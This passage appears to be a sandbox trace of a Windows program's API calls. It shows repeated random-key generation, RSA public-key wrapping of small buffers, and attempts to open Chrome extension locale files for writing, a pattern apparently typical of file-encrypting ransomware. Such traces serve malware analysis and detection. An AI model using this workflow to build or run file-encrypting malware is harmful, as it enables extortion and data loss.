(hProv=0x5c4980, dwFlags=0x0) returned 1 [0239.783] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0239.785] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.786] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.786] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0239.786] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.787] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0239.788] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ad038) returned 1 [0239.788] CryptGetKeyParam (in: hKey=0x66ad038, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.789] CryptEncrypt (in: hKey=0x66ad038, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa280000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa280000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0239.789] GetLastError () returned 0x0 [0239.789] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.789] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0239.790] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66accf8) returned 1 [0239.791] CryptGetKeyParam (in: hKey=0x66accf8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.791] CryptEncrypt (in: hKey=0x66accf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa290000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa290000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0239.791] GetLastError () returned 0x0 [0239.791] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.791] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bn\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0239.791] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0239.794] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.795] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.796] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0239.796] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.796] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0239.798] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.799] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.799] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0239.799] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.799] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0239.801] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ace38) returned 1 [0239.801] CryptGetKeyParam (in: hKey=0x66ace38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.801] CryptEncrypt (in: hKey=0x66ace38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa2a0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa2a0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0239.802] GetLastError () returned 0x0 [0239.802] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.802] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0239.803] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66acc78) returned 1 [0239.803] CryptGetKeyParam (in: hKey=0x66acc78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.803] CryptEncrypt (in: hKey=0x66acc78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa2b0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa2b0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0239.804] GetLastError () returned 0x0 [0239.804] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.804] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ca\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ca\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0239.804] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0239.806] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.808] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.808] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0239.808] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.808] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0239.810] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.812] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.812] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0239.812] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.812] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0239.814] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66acff8) returned 1 [0239.814] CryptGetKeyParam (in: hKey=0x66acff8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.814] CryptEncrypt (in: hKey=0x66acff8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa2c0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa2c0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0239.815] GetLastError () returned 0x0 [0239.815] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.815] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0239.817] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66acb38) returned 1 [0239.817] CryptGetKeyParam (in: hKey=0x66acb38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.817] CryptEncrypt (in: hKey=0x66acb38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa2d0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa2d0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0239.818] GetLastError () returned 0x0 [0239.818] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.818] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\cs\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\cs\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0239.818] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0239.821] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.823] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.823] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0239.823] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.823] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0239.825] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.827] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.828] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0239.828] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.829] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0239.831] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66acb78) returned 1 [0239.831] CryptGetKeyParam (in: hKey=0x66acb78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.831] CryptEncrypt (in: hKey=0x66acb78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa2e0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa2e0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0239.831] GetLastError () returned 0x0 [0239.831] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.832] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0239.834] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66accb8) returned 1 [0239.834] CryptGetKeyParam (in: hKey=0x66accb8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.834] CryptEncrypt (in: hKey=0x66accb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa2f0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa2f0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0239.834] GetLastError () returned 0x0 [0239.834] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.834] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\da\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\da\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0239.835] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0239.838] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.840] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.840] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0239.840] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.841] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0239.843] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.846] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.847] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0239.847] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.847] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0239.849] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66acdf8) returned 1 [0239.850] CryptGetKeyParam (in: hKey=0x66acdf8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.850] CryptEncrypt (in: hKey=0x66acdf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa300000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa300000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0239.850] GetLastError () returned 0x0 [0239.850] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.850] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0239.852] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ace78) returned 1 [0239.852] CryptGetKeyParam (in: hKey=0x66ace78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.852] CryptEncrypt (in: hKey=0x66ace78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa310000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa310000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0239.852] GetLastError () returned 0x0 [0239.852] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.852] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\de\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\de\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0239.854] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0239.857] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.859] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.860] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0239.860] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.860] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0239.862] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.864] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.864] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0239.864] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.865] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0239.868] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66aceb8) returned 1 [0239.868] CryptGetKeyParam (in: hKey=0x66aceb8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.868] CryptEncrypt (in: hKey=0x66aceb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa320000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa320000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0239.868] GetLastError () returned 0x0 [0239.868] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.868] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0239.870] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66acef8) returned 1 [0239.870] CryptGetKeyParam (in: hKey=0x66acef8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.870] CryptEncrypt (in: hKey=0x66acef8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa330000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa330000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0239.871] GetLastError () returned 0x0 [0239.871] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.871] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\el\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\el\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0239.871] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0239.874] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.876] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.876] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0239.876] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.876] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0239.878] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.880] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.880] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0239.880] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.880] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0239.882] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66aca78) returned 1 [0239.882] CryptGetKeyParam (in: hKey=0x66aca78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.882] CryptEncrypt (in: hKey=0x66aca78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa340000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa340000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0239.882] GetLastError () returned 0x0 [0239.882] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.882] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0239.884] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66acf38) returned 1 [0239.884] CryptGetKeyParam (in: hKey=0x66acf38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.884] CryptEncrypt (in: hKey=0x66acf38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa350000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa350000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0239.884] GetLastError () returned 0x0 [0239.884] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.884] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_GB\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_gb\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0239.885] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0239.888] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.889] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.893] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0239.893] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.893] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0239.895] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.897] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.897] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0239.897] CryptReleaseContext (hProv=0x5c4760, 